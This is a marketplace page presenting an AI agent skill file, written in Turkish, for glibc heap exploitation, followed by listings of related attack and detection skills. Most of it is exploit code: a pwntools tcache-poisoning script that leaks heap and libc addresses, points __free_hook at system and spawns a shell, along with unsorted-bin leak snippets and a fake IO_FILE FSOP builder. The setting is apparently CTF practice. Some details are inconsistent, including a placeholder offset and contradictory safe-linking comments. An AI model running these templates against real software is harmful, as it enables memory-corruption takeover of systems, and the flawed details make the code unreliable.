本文へ移動
cccskills
無料GitHub で公開

heap-exploit

Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP

インストール方法を見る

含まれるファイル(1)

  • SKILL.md10.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Heap Exploitation — Glibc

Heap Primitives (Chunk Layout ve Bin'ler)

Chunk Yapısı (64-bit glibc)

  chunk   → ┌──────────────────────┐
             │  prev_size (8 byte)  │  ← önceki chunk serbest ise aktif
             │  size | flags (8 b)  │  ← P=prev_in_use, M=mmap, A=non-main
  mem     → ├──────────────────────┤
             │  fd pointer (8 byte) │  ← serbest chunk: bin'e bağlı
             │  bk pointer (8 byte) │
             │  ...kullanıcı veri...│
  nextchunk→ └──────────────────────┘

Minimum chunk boyutu: 32 byte (glibc 64-bit). Chunk boyutu her zaman 16'nın katı olmalı.

Bin Türleri

BinBoyut (64-bit)glibc versiyonuNot
tcache0x20 – 0x410>= 2.26per-thread, 7 adet limit
fastbin0x20 – 0x80hepLIFO, single-linked
smallbin0x20 – 0x3f0hepdouble-linked
largebin>= 0x400hepdouble-linked + size list
unsortedbinherhangiheplibc içi buffer, büyük leak

Tcache Poisoning Şablonu

glibc 2.32+ sürümünde tcache fd pointer'ı XOR şifreli (safe-linking):

fd_stored = fd_real ^ (chunk_addr >> 12)

Bunu bypass etmek için heap adresini bilmen gerekir.

#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())

def show(idx):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())
    return io.recvline()

# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12

alloc(0x30, b"AAAA")   # chunk 0
free(0)                 # tcache'e at

# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base  = heap_leak << 12   # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")

# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider

alloc(0x420, b"B" * 8)  # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30,  b"guard")  # alt chunk — top chunk ile birleşmesin
free(1)                  # unsorted bin'e gider

raw2 = show(1)           # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")

# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)

free_hook = libc.sym["__free_hook"]
system    = libc.sym["system"]

# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
    return (heap_addr >> 12) ^ target

alloc(0x30, b"C" * 8)   # chunk 3
alloc(0x30, b"D" * 8)   # chunk 4

free(4)
free(3)   # tcache: 3 → 4 → NULL

# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook)  # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla

io.sendlineafter(b"choice: ", b"4")   # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))

# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00")   # chunk 3'ü al
alloc(0x30, p64(system))      # __free_hook = system

# free("/bin/sh") → system("/bin/sh")
free(3 + 1)   # "/bin/sh" içeren chunk'ı serbest bırak

io.interactive()

Unsorted Bin Libc Leak

# Tek seferlik leak — UAF ile okuma primitive gerekli

# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420)       # chunk A

# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30)        # chunk B (guard)

# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0)            # chunk A → fd/bk = main_arena + 0x60 (ya da offset)

# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))

# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0   # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")

IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)

glibc 2.34+ __malloc_hook / __free_hook kaldırıldı. Alternatif: _IO_FILE yapısını taklit et, _IO_flush_all_lockp tetiklenince vtable->__overflow üzerinden RIP kontrolü al.

Sahte IO_FILE Yapısı

# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2

FSOP_OFFSET = 0   # _IO_list_all - libc.address

def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
    """
    _IO_flush_all_lockp yolu:
    _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
    vtable = _IO_wfile_jumps - 0x18 + bazı magic
    """
    IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
    setcontext     = libc.sym["setcontext"] + 61   # setcontext+61: rdi→rdx, jmp [rdx+0xa0]

    fake = flat({
        0x00: 0,                          # _flags (özel değer gerekebilir)
        0x28: 1,                          # _IO_write_ptr > _IO_write_base
        0x30: 0,                          # _IO_write_base
        0x38: rdi_val,                    # _IO_buf_base → rdi olarak geçer
        0xa0: func_ptr,                   # setcontext+61 için jump adresi
        0xc0: 0,                          # _mode = 0
        0xd8: IO_wfile_jumps - 0x18,     # vtable (magic offset)
        0xe0: rsi_val,                    # wide_data başı
        0xe8: rdx_val,
    }, length=0x100, filler=b"\x00")

    return fake

# Kullanım — stdout'u overwrite et:
stdout    = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])

# Heap'teki write primitive ile stdout bölgesini yaz
# ...

Basit FSOP Şablonu (stdout flag trick)

# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak

stdout_addr = libc.sym["_IO_2_1_stdout_"]

# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar

fake_flags = 0xfbad1800
writes = {
    stdout_addr       : fake_flags,
    stdout_addr + 0x20: stdout_addr + 0x80,  # _IO_write_base = _IO_buf_base
    stdout_addr + 0x28: stdout_addr + 0x80,  # _IO_write_ptr
}

# Bu yazma sonrası next flush → libc adresleri stdout'a basılır

pwntools Heap Debug Yardımcıları

# pwndbg ile heap durumunu gör:
# (gdb) heap         → tüm chunk'lar
# (gdb) bins         → bin durumu
# (gdb) tcache       → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası

# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")

# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
    # memory read primitive gerekli
    pass

# GDB attach (local debug):
if args.GDB:
    gdb.attach(io, gdbscript="""
        break *0x401234
        heap
        bins
        continue
    """)

glibc Versiyon Tespiti

# 1) Sunucudaki libc'yi öğren
libc --version   # bağlantı varsa

# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release

# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir

# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul

Patchelf ile Yerel Libc Kullan

# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln   # artık yerel libc.so.6 ve ld kullanır

Yaygın Tuzaklar

1. Guard Chunk Unutmak

# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD")    # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)

2. Tcache Sayacı (glibc >= 2.26)

Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.

# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
    alloc(0x30)
for i in range(7):
    free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)

3. Safe-Linking (glibc >= 2.32)

Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz. Heap adresini UAF ile sızdır, sonra (addr >> 12) ^ target hesapla.

4. glibc 2.34+ Hook'lar Yok

__malloc_hook, __free_hook, __realloc_hook kaldırıldı. Alternatifler:

  • IO_FILE FSOP (House of Apple, House of Cat)
  • exit_funcs overwrite (setjmp/longjmp tablosu)
  • stack pivot + ROP (setcontext gadget)
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: 85a65cfd16586727 -->

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

MustafaKemal0146 のスキルをすべて見る

このスキルの問題を報告する